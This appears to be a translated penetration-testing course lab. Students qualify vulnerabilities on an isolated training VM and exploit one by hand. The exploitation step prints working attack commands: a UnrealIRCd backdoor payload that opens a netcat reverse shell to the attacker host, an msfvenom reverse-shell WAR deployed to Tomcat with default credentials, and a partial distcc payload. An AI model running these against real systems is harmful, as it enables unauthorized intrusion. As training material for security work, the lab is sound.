Zum Hauptinhalt springen

Vulnerability research — Hands-on lab

You saw two holds fall without Metasploit. Your turn to take one down, then qualify two others without exploiting them (to practice writing a clean table).

Budget: 2 h 30.

Deliverable: ~/labs/semaine-05/rapport/vulnerabilites.md with a prioritized table, and ~/labs/semaine-05/preuves/ with the exploitation traces for at least one vulnerability.

Prerequisites​

  • The week-4 lab set up (Kali + 10.10.10.12 + 10.10.10.20).
  • The file ~/labs/semaine-04/scans/20-versions.nmap available.
  • searchsploit up to date:
sudo apt install exploitdb -y
sudo searchsploit -u
  • nuclei with its templates:
sudo apt install -y nuclei
nuclei -update-templates

Step 1 — Choose 3 vulnerabilities (10 min)​

Do not take vsftpd or Samba (already exploited in the demo). Choose three different vulnerabilities from:

  1. UnrealIRCd 3.2.8.1 — CVE-2010-2075. Deliberate backdoor in the 2009-2010 tarball.
  2. distccd — CVE-2004-2687. No authentication, arbitrary code execution.
  3. Tomcat 5.5 with tomcat:tomcat — deploying a malicious WAR.
  4. Apache mod_userdir — user enumeration via /~<name>.
  5. PostgreSQL 8.3 — weak authentication / wordlist.
  6. Misconfigured NFS (port 2049) — export accessible without authentication.
  7. X11 on port 6000 — screen capture without authentication.

In rapport/vulnerabilites.md, write your choice of the 3 and why.

Step 2 — Qualify each one (30 min per vulnerability)​

For each one, produce this complete record:

## Vulnerability #<n> — <short title>

### Identity
- Product and version: <e.g. UnrealIRCd 3.2.8.1>
- CVE: <e.g. CVE-2010-2075>
- Original advisory: <URL link or source>
- KEV references: <yes/no>

### Scores
- CVSS Base: ...
- CVSS Environmental (recomputed): ... — one-sentence justification.
- Current EPSS: ... (source: https://api.first.org/data/v1/epss?cve=<CVE>)

### POC / Exploit
- Found on: Exploit-DB #<number> / GitHub <url>
- Read before running: yes/no
- Adaptations needed for the target: ...

### Proof of existence
- Request sent (curl / nc / script): ...
- Response observed: ...
- Proof file: preuves/<vulnerability>-*.txt

### Business impact (if the client were real)
- ... (one sentence per impact)

### Recommendation
- Immediate measure: ...
- Underlying measure: ...

Do not skimp on any section. The final table is only as good as the records behind it.

Step 3 — Exploit at least one by hand (60 min)​

Choose the simplest of your three vulnerabilities. Exploit it without Metasploit.

Suggestion 1 — UnrealIRCd (Perl)​

searchsploit "unrealircd 3.2.8.1"
searchsploit -m 13853   # or the ID you found

Read the Perl script. It sends a magic string AB;<command> that triggers execution:

$socket->send("AB;system('nc -e /bin/sh 10.10.10.5 4444')\n");

In a first terminal:

nc -lvnp 4444

In a second:

perl 13853.pl 10.10.10.20 6667

Check that the first terminal receives the connection, type id, and save the trace to preuves/unreal-shell.log.

Suggestion 2 — distcc (by hand)​

# Forged distcc request (text protocol)
printf 'DIST00000001\n' > payload
printf 'ARGC00000003\n' >> payload
# ...

Look at the official Metasploit POC to understand the protocol. Do not run it from Metasploit — write your own distcc_pwn.py in 30 lines.

Suggestion 3 — Tomcat manager (WAR)​

# 1. Generate a reverse shell WAR (without Metasploit? we can, with msfvenom, which is standalone)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.5 LPORT=4444 -f war -o shell.war

# 2. Deploy via the manager API
curl -u tomcat:tomcat -T shell.war "http://10.10.10.20:8180/manager/deploy?path=/pwn"

# 3. Listen
nc -lvnp 4444

# 4. Trigger
curl http://10.10.10.20:8180/pwn/

A shell falls. Save the trace to preuves/tomcat-shell.log.

Step 4 — Broad scan with Nuclei (20 min)​

Alongside the exploitation, run:

nuclei -u http://10.10.10.20 -tags cve,exposure,default-login -severity medium,high,critical \
  -o preuves/nuclei-20.txt

# Also on Tomcat (port 8180) and phpMyAdmin
nuclei -u http://10.10.10.20:8180 -tags cve,exposure,default-login \
  -o preuves/nuclei-20-8180.txt

Note the 5 most interesting nuclei findings in your report, with a decision for each: exploitable / info leak / false positive.

Step 5 — Nikto for context (15 min)​

Run Nikto on port 80:

nikto -h http://10.10.10.20 -Format txt -o preuves/nikto-20.txt

From the Nikto output, select at most 5 lines that are real leads (forgotten files, admin panels). The rest is noise — do not keep it.

Step 6 — Consolidate the prioritized table (20 min)​

Open rapport/vulnerabilites.md and add the final table. Same structure as the walkthrough:

# Prioritized table — Week 5 lab

## Target 10.10.10.20 (Linux)

| ID | Service | CVE | Base | Env. | EPSS | KEV | Status | Proof |
| -- | --- | --- | --- | --- | --- | --- | --- | --- |
| P1a | ... | ... | ... | ... | ... | ... | exploited / to do | preuves/... |
| P1b | ... | ... | ... | ... | ... | ... | ... | ... |
...

Rules for this table:

  • At least 6 lines in total (the 3 records + the 3 Nuclei/Nikto findings).
  • At least one in exploited status with proof in preuves/.
  • No line without a clear Status.
  • CVSS Environmental different from Base at least once (shows that you contextualize).

Self-assessment checklist​

  • Three vulnerabilities chosen (not the ones from the demo).
  • Three complete records (identity, scores, POC, proof, impact, recommendation).
  • At least one vulnerability actually exploited by hand, without Metasploit.
  • Full trace of the exploitation in preuves/.
  • Full Nuclei scan saved, top-5 findings annotated.
  • Full Nikto scan, 5 findings kept (the rest discarded).
  • Final prioritized table with at least 6 lines and one recomputed CVSS Env.
  • No POC run without having read it first.
  • No action outside the lab.

What usually gets you stuck​

SymptomCauseFix
searchsploit finds nothingDatabase out of datesudo searchsploit -u
Python POC does not workPython 2 vs 3 syntax2to3 script.py -w
Nuclei outputs 500 lines of noiseToo many tagsFilter -severity high,critical
An exploit runs a shady actionBackdoor in the POCStart over from an official POC (Rapid7, Metasploit)
Nikto returns far too muchNormalFilter by hand, discard 80%
The UnrealIRCd exploit returns not vulnerableDifferent version or already exploitedSnapshot revert of the VM

Optional extension — Write your own minimal POC​

Take the simplest of the three vulnerabilities and rewrite the POC in Python 3, without copy-pasting. 30 lines, with:

  • A CLI argument (argparse).
  • A check of the target version (banner).
  • Sending the payload.
  • A clear return (SUCCESS / FAIL).

This is the most instructive exercise in the course. A pentester who can write a POC no longer depends on the tools.

What you take away from this lab​

  • The instinct to qualify a vulnerability before jumping on it.
  • The habit of reading a POC before running it.
  • A method for turning a pile of scanner output into a usable prioritized table.
  • The confidence to exploit certain vulnerabilities without a framework. That is what will one day get you through a technical test in an interview.